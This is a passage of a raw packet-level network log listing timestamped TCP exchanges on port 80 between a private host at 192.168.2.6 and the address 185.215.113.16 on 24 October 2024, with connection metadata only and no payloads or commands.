Oct 24, 2024 18:09:12.179847956 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.179858923 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.179883003 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.179897070 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.179919004 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.179935932 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.179953098 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.179974079 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.180001020 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.212467909 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.212501049 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.212517977 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.212536097 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.212712049 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.212743998 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.212763071 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.212795973 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.212889910 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.212924957 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.212920904 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.212922096 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.212922096 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.212922096 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.213001013 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.213001966 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.213033915 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.213057041 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.213068008 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.213083982 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.213124037 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.213125944 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.213195086 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.213217020 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.213267088 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.213267088 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.213301897 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.213316917 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.213341951 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.213870049 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.213902950 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.213937044 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.213942051 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.213942051 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.213969946 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.213983059 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.214004040 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.214006901 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.214050055 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.258358955 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.258394003 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.258426905 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.258457899 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.258507013 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.258538961 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.258572102 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.258589029 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.258589029 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.258589983 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.258589983 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.258589983 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.258625984 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.258671999 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.258671999 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.258676052 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.258706093 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.258738995 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.258738995 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.258764982 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.258775949 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.258793116 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.258807898 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.258835077 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.258846045 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.258855104 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.258903027 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.259058952 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.259087086 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.259203911 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.259237051 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.259234905 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.259234905 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.259289980 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.259300947 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.259300947 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.259341955 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.259341955 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.259387970 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.259546041 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.259593964 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.259628057 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.259660006 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.259692907 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.259706974 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.259707928 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.259707928 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.259707928 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.262933016 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.298800945 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.298852921 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.298887014 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.298921108 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.298952103 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.298985004 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.299089909 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.299091101 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.299091101 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.299155951 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.299190998 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.299241066 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.299242020 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.299242020 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.299273968 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.299282074 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.299309015 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.299319029 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.299365044 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.331969976 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.332040071 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.332073927 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.332104921 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.332118034 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.332155943 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.332185030 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.332185030 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.332190037 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.332242012 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.332259893 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.332289934 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.332324028 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.332344055 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.332356930 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.332365990 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.332391024 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.332426071 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.332439899 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.332464933 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.332465887 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.332499981 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.332532883 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.332547903 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.332572937 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.332848072 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.332880974 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.332918882 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.332937002 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.332957029 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.332958937 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.333087921 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.333102942 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.333117008 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.333132982 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.333163977 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.333163977 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.377583027 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.377618074 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.377633095 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.377650023 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.377664089 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.377682924 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.377697945 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.377702951 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.377753019 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.377815008 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.377830029 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.377855062 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.377878904 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.378128052 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.378163099 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.378177881 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.378192902 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.378207922 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.378211021 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.378232002 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.378248930 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.378596067 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.378648996 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.378663063 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.378695011 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.378721952 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.378772974 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.378865957 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.378880978 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.378896952 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.378901958 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.378911972 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.378928900 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.378942966 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.379309893 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.379338980 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.379354954 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.379370928 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.379390955 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.418548107 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.418582916 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.418601036 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.418617010 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.418632984 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.418648958 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.418663979 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.418679953 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.418695927 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.418729067 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.418786049 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.418823004 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.418898106 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.418922901 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.418937922 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.419064999 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.419064999 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.451968908 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.452182055 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.452236891 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.452271938 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.452323914 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.452358961 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.452372074 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.452372074 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.452389956 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.452445030 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.452445030 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.452445030 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.452461004 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.452513933 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.452523947 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.452548027 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.452578068 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.452580929 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.452606916 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.452615023 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.452629089 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.452675104 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.452675104 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.452725887 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.452728033 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.452759981 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.452775955 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.452792883 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.452806950 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.452830076 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.452837944 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.453125000 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.453191996 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.453248978 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.453280926 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.453314066 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.453337908 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.453347921 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.453356981 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.454924107 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.497437000 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.497490883 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.497524023 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.497576952 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.497627020 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.497662067 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.497694016 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.497720957 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.497728109 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.497720957 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.497720957 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.497721910 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.497721910 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.497761965 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.497814894 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.497814894 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.497814894 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.497818947 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.497873068 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.497874975 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.497909069 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.497957945 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.497992992 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.498024940 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.498059988 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.498094082 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.498094082 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.498095036 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.498375893 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.498477936 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.498528004 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.498542070 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.498563051 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.498596907 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.498610973 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.498610973 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.498631001 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.498666048 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.498684883 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.498699903 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.498733044 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.498759031 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.498766899 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.498780966 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.502934933 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.537655115 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.537818909 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.537853956 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.537906885 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.537939072 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.537971020 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.538002968 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.538029909 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.538037062 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.538031101 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.538031101 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.538031101 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.538031101 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.538070917 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.538131952 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.538131952 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.538131952 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.538213968 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.538247108 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.538280010 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.538312912 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.538379908 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.538379908 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.538379908 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.538379908 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.571299076 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.571480036 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.571512938 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.571547031 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.571578979 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.571613073 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.571646929 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.571683884 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.571683884 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.571683884 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.571762085 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.571784973 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.571815968 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.571844101 CEST	49994	80	192.168.2.6	185.215.113.16
